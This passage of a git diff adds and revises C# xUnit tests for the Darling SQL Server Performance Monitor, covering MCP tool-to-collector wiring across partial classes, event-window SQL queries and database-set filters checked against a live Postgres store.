+        var runner = ReadLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs");
+
+        Assert.Contains("EmptyDatabaseListNote.For(", runner, StringComparison.Ordinal);
+        Assert.DoesNotContain("no database read", runner, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The assignment that follows the per-database loop is unconditional, so a note assigned anywhere earlier
+    /// would be erased by it. The note rides in that assignment instead.
+    /// </summary>
+    [Fact]
+    public void TheNote_IsMergedIntoTheAssignmentThatFollowsThePerDatabaseLoop()
+    {
+        var runner = ReadLf("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs");
+
+        var loopEnd = runner.IndexOf("await PrunePgPerDatabaseStateAsync(server.ServerId, definition.Name, databases, cancellationToken);", StringComparison.Ordinal);
+        Assert.True(loopEnd > 0, "the per-database loop is followed by the per-database state prune");
+        var assignment = runner.IndexOf("collectionNote = EnumeratedCollectorDriver.MergeNotes(", loopEnd, StringComparison.Ordinal);
+        Assert.True(assignment > loopEnd, "the run note is assigned after the per-database loop");
+
+        var statement = runner[assignment..runner.IndexOf(';', assignment)];
+        Assert.Contains("emptyListNote", statement, StringComparison.Ordinal);
+    }
+
+    private static string ReadLf(params string[] relativePath)
+    {
+        var path = Path.Combine(relativePath);
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !File.Exists(Path.Combine(dir, path)))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, path)).Replace("\r\n", "\n");
+    }
+}
diff --git a/Darling/Darling.Tests/EngineAwareVersionLabelTests.cs b/Darling/Darling.Tests/EngineAwareVersionLabelTests.cs
index 88500cd458..e1e7a59d91 100644
--- a/Darling/Darling.Tests/EngineAwareVersionLabelTests.cs
+++ b/Darling/Darling.Tests/EngineAwareVersionLabelTests.cs
@@ -915,6 +915,8 @@ public void TheVersionLabel_IsRenderedOnlyByTheKnownEngineAwareSites()
                 /* DarlingMcpDataTools.RenderServerList — the MCP list_servers engine_version field and
                    its deprecated sql_version alias (#3245), one call feeding both keys. */
                 "RenderServerList",
+                /* DarlingAdminServersReader.ToAdminServerRow — the web Manage Servers grid's version column (#5239). */
+                "ToAdminServerRow",
                 /* DarlingServer.VersionLabel — the fleet sidebar subtitle, MainWindow.xaml. */
                 "VersionLabel",
             },
diff --git a/Darling/Darling.Tests/EngineCapabilityMissTests.cs b/Darling/Darling.Tests/EngineCapabilityMissTests.cs
index db543e29e5..1ee7638f2d 100644
--- a/Darling/Darling.Tests/EngineCapabilityMissTests.cs
+++ b/Darling/Darling.Tests/EngineCapabilityMissTests.cs
@@ -41,6 +41,7 @@ namespace Darling.Tests;
 /// entire class green. <c>CollectorEngineCapabilityMovingGateTests</c> is the half that MOVES a gate and
 /// watches the answer move with it (#2518).</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class CollectorEngineCapabilityTests
 {
     private const int Enterprise = 3;
@@ -306,6 +307,7 @@ public void TheSweep_VariesEveryDimensionTheGatesRead()
 /// behavioural sees that on the SKU that was not touched, which is exactly how the divergence
 /// <c>McpMissMessageParityPinTests</c> exists for got there.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class EngineCapabilityReadWiringTests
 {
     private const string DarlingMcp = "Darling/PerformanceMonitor.Darling.Service/Mcp";
@@ -334,6 +336,10 @@ public sealed class EngineCapabilityReadWiringTests
     private static readonly Regex HelperDeclaration = new(
         @"private static async Task<string> (\w+)(?:<\w+>)?\(", RegexOptions.Compiled);
 
+    // The lookbehind excludes the helper's own declaration, which a joined part file puts inside a tool body.
+    private static string HelperCallPattern(string helperName) =>
+        $@"(?<!Task<string> )\b{Regex.Escape(helperName)}\(";
+
     /// <summary>
     /// Every collector name a shipped read asks the capability question about, across both SKUs. Exposed so
     /// <see cref="CollectorEngineCapabilityTests.EveryCapturePathEntry_NamesARealCollectorThatIsActuallyGatedSomewhere"/>
@@ -359,9 +365,20 @@ internal static SortedDictionary<string, SortedSet<string>> WiredReads(string mc
     {
         var wired = new SortedDictionary<string, SortedSet<string>>(StringComparer.Ordinal);
 
-        foreach (var file in RepoFilesIn(mcpDirectory))
+        /* A partial class split across files (X.cs plus X.*.cs) is one source: a helper in one part is
+           called by a tool in another. X.cs comes first, the rest in ordinal order. */
+        var groups = RepoFilesIn(mcpDirectory)
+            .GroupBy(f => Path.GetFileName(f).Split('.')[0], StringComparer.Ordinal)
+            .OrderBy(g => g.Key, StringComparer.Ordinal);
+
+        foreach (var group in groups)
         {
-            var source = File.ReadAllText(file).Replace("\r\n", "\n", StringComparison.Ordinal);
+            var parts = group
+                .OrderBy(f => Path.GetFileName(f).Equals(group.Key + ".cs", StringComparison.Ordinal) ? 0 : 1)
+                .ThenBy(f => Path.GetFileName(f), StringComparer.Ordinal)
+                .ToList();
+            var file = string.Join("+", parts.Select(Path.GetFileName));
+            var source = string.Join("\n", parts.Select(f => File.ReadAllText(f).Replace("\r\n", "\n", StringComparison.Ordinal)));
             var consts = CollectorConst.Matches(source)
                 .ToDictionary(m => m.Groups[1].Value, m => m.Groups[2].Value, StringComparer.Ordinal);
             var marks = ToolMark.Matches(source);
@@ -390,7 +407,7 @@ helper and reaches every tool that calls it (#3541 A12). */
                     continue;
                 }
 
-                Assert.True(owner is not null, $"{Path.GetFileName(file)}: a capability call sits outside any MCP tool");
+                Assert.True(owner is not null, $"{file}: a capability call sits outside any MCP tool");
 
                 if (!wired.TryGetValue(owner!.Groups[1].Value, out var collectors))
                 {
@@ -407,7 +424,7 @@ helper and reaches every tool that calls it (#3541 A12). */
                 var body = source[marks[i].Index..end];
                 foreach (var (helperName, helperCollectors) in viaHelper)
                 {
-                    if (!Regex.IsMatch(body, $@"\b{Regex.Escape(helperName)}\("))
+                    if (!Regex.IsMatch(body, HelperCallPattern(helperName)))
                     {
                         continue;
                     }
@@ -428,9 +445,9 @@ helper and reaches every tool that calls it (#3541 A12). */
                     Enumerable.Range(0, marks.Count).Any(i =>
                     {
                         var end = i + 1 < marks.Count ? marks[i + 1].Index : source.Length;
-                        return Regex.IsMatch(source[marks[i].Index..end], $@"\b{Regex.Escape(helperName)}\(");
+                        return Regex.IsMatch(source[marks[i].Index..end], HelperCallPattern(helperName));
                     }),
-                    $"{Path.GetFileName(file)}: helper {helperName} asks the capability question but no tool calls it");
+                    $"{file}: helper {helperName} asks the capability question but no tool calls it");
             }
         }
 
@@ -515,6 +532,24 @@ private static bool ReachableOnSomeEngine(string collectorName)
             CollectorEngineCapability.NotCollectedMessage("probe", edition, kind, collectorName) is not null));
     }
 
+    /// <summary>get_finops lives in DarlingMcpFinOpsTools.cs and its views ask their questions through helpers in the
+    /// partials DarlingMcpFinOpsTools.Utilization.cs (set A) and DarlingMcpFinOpsTools.HighImpact.cs and DarlingMcpFinOpsTools.DatabaseResources.cs and DarlingMcpFinOpsTools.ApplicationConnections.cs and DarlingMcpFinOpsTools.Optimization.cs and DarlingMcpFinOpsTools.StorageGrowth.cs (set B); the scan
+    /// reads all the parts as one source.</summary>
+    [Fact]
+    public void GetFinOps_IsWiredToItsViewsCollectors_AcrossThePartialClass()
+    {
+        var wired = WiredReads(DarlingMcp);
+
+        Assert.True(wired.TryGetValue("get_finops", out var collectors), "get_finops has no wired read");
+        /* Set A views: append their collectors here. */
+        var setA = new[] { "memory_stats", "index_object_stats" };
+        /* Set B views: append their collectors here. */
+        var setB = new[] { "database_size_stats", "file_io_stats", "memory_grant_stats", "query_stats", "session_stats", "tempdb_stats", "wait_stats" };
+
+        /* Exact: the sorted union of the per-set lists equals the scanned set, so an unlisted collector still fails. */
+        Assert.Equal(setA.Concat(setB).Distinct().OrderBy(c => c, StringComparer.Ordinal).ToArray(), collectors!.OrderBy(c => c, StringComparer.Ordinal).ToArray());
+    }
+
     /// <summary>
     /// The two SKUs wire the SAME reads to the SAME collectors. Compared only across tools BOTH surfaces
     /// expose, so a tool that exists on one SKU only (Darling's get_ag_health) is not reported as drift —
@@ -593,6 +628,7 @@ private static string[] RepoFilesIn(string relativeDirectory, [CallerFilePath] s
 /// into the true answer.</para>
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class EngineCapabilityMissLivePostgresTests
 {
     private const string AzureServerName = "darling-engine-cap-azure";
@@ -834,6 +870,43 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    [Fact]
+    public async Task ANotCollectedAnswer_StartsNoCoverageProbe_AgainstDevPostgres()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live engine-capability test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var bodySucceeded = false;
+        try
+        {
+            await RegisterAsync(connection, ct, AzureServerId, AzureServerName, engineEdition: 5);
+            var probes = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { probes++; return Task.FromResult<DateTime?>(null); };
+
+            /* A 168-hour empty window is always probed; a not_collected answer carries no notice, so it must not be. */
+            var config = await DarlingMcpConfigHistoryTools.GetServerConfigChanges(postgres, AzureServerName);
+            var pressure = await DarlingMcpMemoryGrantTools.GetMemoryPressureEvents(postgres, AzureServerName);
+
+            Assert.Equal("not_collected", DarlingMcpTestData.StatusOf(config));
+            Assert.Equal("not_collected", DarlingMcpTestData.StatusOf(pressure));
+            Assert.Equal(0, probes);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            DarlingMcpWindowNotice.TestOnlyProbe = null;
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
     /// <summary>Column list copied from <c>DarlingMcpTestData.RegisterServerAsync</c>, plus the two columns
     /// this test exists to vary. <paramref name="engineKind"/> null is the pre-V82 row — no claim.</summary>
     private static async Task RegisterAsync(
diff --git a/Darling/Darling.Tests/EntraProviderPackageCensusTests.cs b/Darling/Darling.Tests/EntraProviderPackageCensusTests.cs
index e592593464..c5955c3b4f 100644
--- a/Darling/Darling.Tests/EntraProviderPackageCensusTests.cs
+++ b/Darling/Darling.Tests/EntraProviderPackageCensusTests.cs
@@ -65,6 +65,8 @@ namespace Darling.Tests;
 /// detector's own ability to fire is exercised against synthetic text so a pattern that matched nothing
 /// could not report the whole repository as safe.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class EntraProviderPackageCensusTests
 {
     private const string CorePackage = "Microsoft.Data.SqlClient";
diff --git a/Darling/Darling.Tests/EventWindowedReadsAreBoundedLivePostgresTests.cs b/Darling/Darling.Tests/EventWindowedReadsAreBoundedLivePostgresTests.cs
index 188163b0db..02e0d49d8e 100644
--- a/Darling/Darling.Tests/EventWindowedReadsAreBoundedLivePostgresTests.cs
+++ b/Darling/Darling.Tests/EventWindowedReadsAreBoundedLivePostgresTests.cs
@@ -50,24 +50,25 @@ public sealed class EventWindowedReadsAreBoundedLivePostgresTests
     /* ── the replaced statements, verbatim (kept independent of the pin test's copies, so a change to
        either file's constants cannot silently make both agree on the wrong thing) ── */
 
+    /* #5244: the oracle names the arm too, like the shipped read: the floor is what this test compares. */
     private const string OldBlockingTrendSql = """
         WITH bpr AS (
-            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'blocked-process-report' AS source
             FROM v_blocked_process_reports
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   ($4::text[] IS NULL OR database_name = ANY($4))
             GROUP BY DATE_TRUNC('minute', event_time)
         ),
         dmv AS (
-            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count
+            SELECT DATE_TRUNC('minute', event_time) AS bucket, COUNT(*) AS incident_count, 'DMV snapshot' AS source
             FROM v_dmv_blocking_snapshots
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   ($4::text[] IS NULL OR database_name = ANY($4))
             GROUP BY DATE_TRUNC('minute', event_time)
         )
-        SELECT bucket, incident_count FROM bpr
+        SELECT bucket, incident_count, source FROM bpr
         UNION ALL
-        SELECT bucket, incident_count FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+        SELECT bucket, incident_count, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
         ORDER BY bucket
         """;
 
@@ -122,7 +123,8 @@ WITH bpr AS (
                 COUNT(*) AS event_count,
                 CAST(SUM(wait_time_ms) AS bigint) AS total_duration_ms,
                 MAX(wait_time_ms) AS max_duration_ms,
-                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms
+                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms,
+                'blocked-process-report' AS source
             FROM v_blocked_process_reports
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             GROUP BY DATE_TRUNC('minute', event_time)
@@ -133,14 +135,15 @@ dmv AS (
                 COUNT(*) AS event_count,
                 CAST(SUM(wait_time_ms) AS bigint) AS total_duration_ms,
                 MAX(wait_time_ms) AS max_duration_ms,
-                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms
+                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms,
+                'DMV snapshot' AS source
             FROM v_dmv_blocking_snapshots
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             GROUP BY DATE_TRUNC('minute', event_time)
         )
-        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM bpr
+        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM bpr
         UNION ALL
-        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
         ORDER BY bucket
         """;
 
@@ -262,7 +265,7 @@ public async Task TheFlooredReads_ReturnExactlyWhatTheUnflooredReadsReturned_Aga
         try
         {
             await DeleteSentinelRowsAsync(connection, ct);
-            var now = Micro(DateTime.UtcNow);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var marks = Marks(now);
             await SeedAsync(connection, now, marks, ct);
 
@@ -294,11 +297,11 @@ await AssertEqualAsync(connection,
             /* BlockingDurationStatsSql: same two-CTE shape as BlockingTrendSql. */
             await AssertEqualAsync(connection,
                 OldBlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtA), P(marks.WindowStart), P(now) },
-                ViewerDataService.BlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtA), P(marks.WindowStart), P(now), P(floor) },
+                ViewerDataService.BlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtA), P(marks.WindowStart), P(now), P(floor), NoDatabaseFilter() },
                 ct, expectedCount: 3, "BlockingDurationStatsSql/A");
             await AssertEqualAsync(connection,
                 OldBlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtB), P(marks.WindowStart), P(now) },
-                ViewerDataService.BlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtB), P(marks.WindowStart), P(now), P(floor) },
+                ViewerDataService.BlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtB), P(marks.WindowStart), P(now), P(floor), NoDatabaseFilter() },
                 ct, expectedCount: 1, "BlockingDurationStatsSql/B");
 
             /* BlockingPairRowsSql */
@@ -362,7 +365,7 @@ public async Task TheFlooredReads_PlanAtMostThreeChunksForA24HourWindow_AgainstD
         try
         {
             await DeleteSentinelRowsAsync(connection, ct);
-            var now = Micro(DateTime.UtcNow);
+            var now = Micro(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var marks = Marks(now);
             await SeedAsync(connection, now, marks, ct);
             var floor = EventWindowFloor.For(marks.WindowStart);
@@ -387,7 +390,7 @@ await AssertChunksAsync(connection,
 
             await AssertChunksAsync(connection,
                 OldBlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtA), P(marks.WindowStart), P(now) },
-                ViewerDataService.BlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtA), P(marks.WindowStart), P(now), P(floor) },
+                ViewerDataService.BlockingDurationStatsSql, new NpgsqlParameter[] { P(EvtA), P(marks.WindowStart), P(now), P(floor), NoDatabaseFilter() },
                 ct, "BlockingDurationStatsSql", maxChunks: 6);
 
             await AssertChunksAsync(connection,
diff --git a/Darling/Darling.Tests/EventsDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/EventsDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..b008a90bb8
--- /dev/null
+++ b/Darling/Darling.Tests/EventsDatabaseFilterLiveTests.cs
@@ -0,0 +1,310 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244), PR6 lane R2: get_database_config, get_health_parser_severe_errors and get_default_trace_events
+/// read a SET of databases. Each tool gains an internal overload that takes a <see cref="DatabaseFilter"/>; the public method
+/// keeps passing one name (config) or no name (the other two). The seed is three databases (A, B and C) on one server:
+/// [A, B] returns only A and B, in each read's own filter (C# over the latest snapshot with OrdinalIgnoreCase for config,
+/// C# over the resolved name for severe errors, SQL for the default trace), and each empty or truncated answer says
+/// "the chosen databases" rather than a verdict about one database.
+///
+/// <para>Skips without <c>DARLING_TEST_PG</c>, like its siblings.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class EventsDatabaseFilterLiveTests
+{
+    private const string ServerName = "darling-events-dbfilter-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const string DbA = "FilterDbA";
+    private const string DbB = "FilterDbB";
+    private const string DbC = "FilterDbC";
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void DefaultTraceSql_IsTheListForm_WithNoNameSplicedIn()
+    {
+        var sql = DarlingDefaultTraceReader.EventsByWindowSql;
+        Assert.Contains("($5::text[] IS NULL OR dte.database_name = ANY($5))", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$5::text IS NULL", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("{{", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void FilterToDatabases_ListMatchesAnyName_IgnoringCase_AndAllKeepsEveryRow()
+    {
+        DarlingCurrentConfigReader.DatabaseConfigReadRow Row(string name) => new(
+            name, "ONLINE", 160, "c", "FULL", false, false, false, false, false, false, false, "OFF", false, false, false, false,
+            false, false, false, false, "NOTHING", "CHECKSUM", 60, "DISABLED", false, false, null);
+        var rows = new[] { Row(DbA), Row(DbB), Row(DbC) };
+
+        Assert.Equal(new[] { DbA, DbB }, DarlingCurrentConfigReader.FilterToDatabases(rows, DatabaseFilter.Of([DbA, DbB])).Select(r => r.DatabaseName));
+        Assert.Equal(new[] { DbC }, DarlingCurrentConfigReader.FilterToDatabases(rows, DatabaseFilter.One(DbC.ToUpperInvariant())).Select(r => r.DatabaseName));
+        Assert.Equal(3, DarlingCurrentConfigReader.FilterToDatabases(rows, DatabaseFilter.All).Count);
+        Assert.Equal(3, DarlingCurrentConfigReader.FilterToDatabases(rows, DatabaseFilter.One("   ")).Count);
+        Assert.Empty(DarlingCurrentConfigReader.FilterToDatabases(rows, DatabaseFilter.Of(["NoSuchDb"])));
+    }
+
+    [Fact]
+    public async Task DatabaseConfig_Overload_TwoNames_ReturnsOnlyThoseDatabases_WhitespaceMeansAll_NoMatchIsNotUnavailable()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live events database-filter test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(cs!, ct);
+
+            var ab = JsonDocument.Parse(await DarlingMcpConfigTools.GetDatabaseConfig(postgres, ServerName, DatabaseFilter.Of([DbA, DbB]), ct)).RootElement;
+            Assert.Equal(2, ab.GetProperty("database_count").GetInt32());
+            Assert.Equal(new[] { DbA, DbB }, ab.GetProperty("databases").EnumerateArray().Select(d => d.GetProperty("database_name").GetString()).Order().ToArray());
+
+            /* #5244 PR6: the web route hands the repeated keys to the read. */
+            var webAb = await WebReadProbe.ReadAsync(postgres, ServerName, "get_database_config", "24", DbA, DbB);
+            Assert.Equal(new[] { DbA, DbB }, webAb.GetProperty("databases").EnumerateArray().Select(d => d.GetProperty("database_name").GetString()).Order().ToArray());
+            Assert.Equal(3, (await WebReadProbe.ReadAsync(postgres, ServerName, "get_database_config", "24")).GetProperty("database_count").GetInt32());
+
+            /* One name behaves as it did, ignoring case, and the public method that wraps it returns the same page. */
+            var one = JsonDocument.Parse(await DarlingMcpConfigTools.GetDatabaseConfig(postgres, ServerName, DatabaseFilter.One(DbC.ToLowerInvariant()), ct)).RootElement;
+            Assert.Equal(new[] { DbC }, one.GetProperty("databases").EnumerateArray().Select(d => d.GetProperty("database_name").GetString()).ToArray());
+            var viaPublic = JsonDocument.Parse(await DarlingMcpConfigTools.GetDatabaseConfig(postgres, ServerName, DbC, ct)).RootElement;
+            Assert.Equal(1, viaPublic.GetProperty("database_count").GetInt32());
+
+            /* [M3] No name and a whitespace-only name are every database (a whitespace-only name used to filter to nothing). */
+            foreach (var blank in new string?[] { null, "   " })
+            {
+                var all = JsonDocument.Parse(await DarlingMcpConfigTools.GetDatabaseConfig(postgres, ServerName, blank, ct)).RootElement;
+                Assert.Equal(3, all.GetProperty("database_count").GetInt32());
+            }
+
+            /* A set that matches nothing is a quiet answer from a snapshot that exists, with its capture stamp: never "unavailable". */
+            var none = JsonDocument.Parse(await DarlingMcpConfigTools.GetDatabaseConfig(postgres, ServerName, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), ct)).RootElement;
+            Assert.False(none.TryGetProperty("status", out _));
+            Assert.Equal(0, none.GetProperty("database_count").GetInt32());
+            Assert.True(none.TryGetProperty("captured_at", out _));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task SevereErrors_Overload_TwoNames_FiltersOnTheResolvedName_BeforeTheCountsAndThePageCap()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live events database-filter test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(cs!, ct);
+
+            var all = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, 24, 50, DatabaseFilter.All, null, null, ct)).RootElement;
+            Assert.Equal(4, all.GetProperty("error_count").GetInt32());
+
+            var ab = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, 24, 50, DatabaseFilter.Of([DbA, DbB]), null, null, ct)).RootElement;
+            Assert.Equal(2, ab.GetProperty("error_count").GetInt32());
+            Assert.Equal(new[] { DbA, DbB }, ab.GetProperty("errors").EnumerateArray().Select(e => e.GetProperty("database_name").GetString()).Order().ToArray());
+
+            /* The count is the set's, and the page cap applies after the filter: one shown of the two held. */
+            var cut = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, 24, 1, DatabaseFilter.Of([DbA, DbB]), null, null, ct)).RootElement;
+            Assert.Equal(2, cut.GetProperty("error_count").GetInt32());
+            Assert.Equal(1, cut.GetProperty("shown").GetInt32());
+
+            /* One name, ordinal: a differently cased name matches nothing, and the no-context error (id 0) is in no chosen database. */
+            var oneC = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, 24, 50, DatabaseFilter.One(DbC), null, null, ct)).RootElement;
+            Assert.Equal(1, oneC.GetProperty("error_count").GetInt32());
+            var lower = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, 24, 50, DatabaseFilter.One(DbC.ToLowerInvariant()), null, null, ct)).RootElement;
+            Assert.Equal("empty", lower.GetProperty("status").GetString());
+
+            /* #5244 PR6: the web route hands the repeated keys to the read, and the answer echoes the choice. */
+            var webAb = await WebReadProbe.ReadAsync(postgres, ServerName, "get_health_parser_severe_errors", "24", DbA, DbB);
+            Assert.Equal(new[] { DbA, DbB }, webAb.GetProperty("errors").EnumerateArray().Select(e => e.GetProperty("database_name").GetString()).Order().ToArray());
+            Assert.Equal("the chosen databases", webAb.GetProperty("database_name").GetString());
+            var webAll = await WebReadProbe.ReadAsync(postgres, ServerName, "get_health_parser_severe_errors", "24");
+            Assert.Equal(4, webAll.GetProperty("error_count").GetInt32());
+
+            /* [M4] Nothing in the chosen databases while errors WERE captured: the empty answer says so, and no database is named as a verdict. */
+            var none = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, 24, 50, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), null, null, ct)).RootElement;
+            Assert.Equal("empty", none.GetProperty("status").GetString());
+            var message = none.GetProperty("message").GetString()!;
+            Assert.Contains("none was a significant severe error", message, StringComparison.Ordinal);
+            Assert.Contains("for the chosen databases", message, StringComparison.Ordinal);
+            Assert.DoesNotContain("NoSuchDb", message, StringComparison.Ordinal);
+            Assert.Equal(4, none.GetProperty("events_in_window").GetInt32());
+            Assert.Equal("the chosen databases", none.GetProperty("database_name").GetString());
+            Assert.Equal(JsonValueKind.Null, all.GetProperty("database_name").ValueKind);
+            Assert.Equal(DbA, JsonDocument.Parse(await DarlingMcpHealthParserTools.GetSevereErrors(postgres, ServerName, 24, 50, DatabaseFilter.One(DbA), null, null, ct)).RootElement.GetProperty("database_name").GetString());
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) => await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task DefaultTrace_Overload_TwoNames_ReturnsOnlyThoseDatabases_AndTheEmptyAnswerSaysTheChosenDatabases()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live events database-filter test.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await SeedAsync(cs!, ct);
+            var end = DateTime.UtcNow;
+            var start = end.AddHours(-1);
+
+            /* Reader level: the list reaches SQL as one text[]; an event with no database name is in no chosen database. */
+            var ab = await DarlingDefaultTraceReader.ReadEventsAsync(postgres, ServerId, start, end, DatabaseFilter.Of([DbA, DbB]), ct);
+            Assert.Equal(new[] { DbA, DbB }, ab.Select(r => r.DatabaseName).Order().ToArray());
+            var ba = await DarlingDefaultTraceReader.ReadEventsAsync(postgres, ServerId, start, end, DatabaseFilter.Of([DbB, DbA]), ct);
+            Assert.Equal(ab.Select(r => r.TextData), ba.Select(r => r.TextData));
+            Assert.Equal(4, (await DarlingDefaultTraceReader.ReadEventsAsync(postgres, ServerId, start, end, DatabaseFilter.All, ct)).Count);
+            Assert.Equal(4, (await DarlingDefaultTraceReader.ReadEventsAsync(postgres, ServerId, start, end, ct)).Count);
+            Assert.Empty(await DarlingDefaultTraceReader.ReadEventsAsync(postgres, ServerId, start, end, DatabaseFilter.Of(["NoSuchDb", DbA.ToLowerInvariant()]), ct));
+
+            /* Tool level: total_events is the set's, and the page limit applies after the filter. */
+            var abTool = JsonDocument.Parse(await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(postgres, ServerName, 24, 100, DatabaseFilter.Of([DbA, DbB]), null, null, ct)).RootElement;
+            Assert.Equal(2, abTool.GetProperty("total_events").GetInt32());
+            var cut = JsonDocument.Parse(await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(postgres, ServerName, 24, 1, DatabaseFilter.Of([DbA, DbB]), null, null, ct)).RootElement;
+            Assert.Equal(2, cut.GetProperty("total_events").GetInt32());
+            Assert.Equal(1, cut.GetProperty("shown").GetInt32());
+            var allTool = JsonDocument.Parse(await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(postgres, ServerName, 24, 100, DatabaseFilter.All, null, null, ct)).RootElement;
+            Assert.Equal(4, allTool.GetProperty("total_events").GetInt32());
+
+            /* [M4] Nothing in the chosen databases: empty, for the chosen databases; with no filter, the sentence it always was. */
+            var none = JsonDocument.Parse(await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(postgres, ServerName, 24, 100, DatabaseFilter.Of(["NoSuchDb", "NorThisOne"]), null, null, ct)).RootElement;
+            Assert.Equal("empty", none.GetProperty("status").GetString());
